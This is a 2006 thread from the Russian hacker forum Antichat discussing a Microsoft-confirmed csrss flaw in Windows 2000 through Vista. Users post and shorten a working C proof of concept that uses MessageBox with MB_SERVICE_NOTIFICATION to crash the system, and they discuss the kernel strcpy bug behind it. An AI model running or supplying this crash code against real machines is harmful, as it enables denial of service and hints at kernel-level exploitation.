Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
MS подтвердила существование уязвимости в подcистеме csrss |

25.12.2006, 03:14
|
|
Познавший АНТИЧАТ
Регистрация: 25.08.2006
Сообщений: 1,524
Провел на форуме: 3405508
Репутация:
1745
|
|
MS подтвердила существование уязвимости в подcистеме csrss
В блоге Microsoft Security Response Center
появилось подтверждение существования ошибки в Client Server Run-Time Subsystem, которая может привести к повышению локальных привилегий. Код, запарывающий память csrss, что в большинстве случаев выкидывает систему (от win2k до висты) на синий экран, использует штатную функцию WinAPI MessageBox. Пока в Microsoft сохраняют спокойствие, продолжая считать Висту самой безопасной современной платформой и отслеживая ситуацию, связанную с этой уязвимостью.
Источник: www.mazafaka.ru
|
|
|

25.12.2006, 08:13
|
|
Флудер
Регистрация: 27.12.2005
Сообщений: 2,372
Провел на форуме: 5339610
Репутация:
4360
|
|
Код, запарывающий память csrss, что в большинстве случаев выкидывает систему (от win2k до висты) на синий экран, использует штатную функцию WinAPI MessageBox.
да епт при чем тут месажбокс. система вылетает на уровне ядра в функции NtRaiseHardError, которая неккоректно обрабатывает строку, начинающуюся на \??\.
продолжая считать Висту самой безопасной современной платформой
гыгы, ну-ну...
|
|
|

25.12.2006, 11:56
|
|
Флудер
Регистрация: 21.06.2006
Сообщений: 3,193
Провел на форуме: 12702287
Репутация:
4738
|
|
А вот и сам сплоит:
#include <stdio.h>
#include <windows.h>
int main(void){
int i;
char bug1 [] ="\\??\\XXXX";
for(i = 0; i < 10; i ++)
{
MessageBox(0, bug1, bug1, MB_SERVICE_NOTIFICATION);
}
}
Кто затестил?
Взят отсюда http://www.security.nnov.ru
Ссылка по теме: http://www.kuban.ru/forum_new/forum2/files/19124.html
Последний раз редактировалось -=lebed=-; 25.12.2006 в 12:01..
|
|
|

25.12.2006, 12:35
|
|
Постоянный
Регистрация: 22.04.2006
Сообщений: 566
Провел на форуме: 1325772
Репутация:
517
|
|
хы... как юнит скомпилил в бдске - нифига винда не вылетает)
приду вечером, надеюсь добью багсу...
|
|
|

25.12.2006, 14:14
|
|
Флудер
Регистрация: 27.12.2005
Сообщений: 2,372
Провел на форуме: 5339610
Репутация:
4360
|
|
я тестил, работает. сплоит можно сократить до
Код:
#include <windows.h>
int main(void){
int i;
char bug [] ="\\??\\";
for(i = 0; i < 10; i ++) MessageBox(0, bug, bug, MB_SERVICE_NOTIFICATION);
}
Работает на ура.
MessageBox при флаге MB_SERVICE_NOTIFICATION вызывает на самом деле ntdll!NtRaiseHardError для показа окошка, а она - переходник для функции ядра ntoskrnl!NtRaiseHardError.
В ней идет обработка первых символов \??\ весьма причудливым образом.
Как написано в письме, отосланном в микрософт, ]it looks like some
"debug" feature not cleaned out in final release and it seems to
exploitable to code execution at kernel level.
Вот такие пироги. Если повезет, можно накатать сплоит для выполнения кода в режиме ядра, последствия чего пояснять не стоит.
Уязвимые версии - 2000 (все сп), XP ( все сп), Vista.
Однако микрософт продолжает считать Висту защищенной. Ну-ну
Вот такие пироги, в кратце)
UPD: Кусок кода NtRaiseHardError:
Код:
} else if ((asLocal.Length > 4) && !_strnicmp(asLocal.Buffer, "\\??\\", 4)) {
strcpy( asLocal.Buffer, asLocal.Buffer+4 );
по документации strcpy: The behavior of strcpy is undefined if the source and destination strings overlap.
Последний раз редактировалось _Great_; 25.12.2006 в 14:18..
|
|
|

26.12.2006, 09:59
|
|
Постоянный
Регистрация: 14.12.2006
Сообщений: 455
Провел на форуме: 678331
Репутация:
44
|
|
Хехе Билли как всегда слепо верит что от его творения неcмогут отказаться 
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|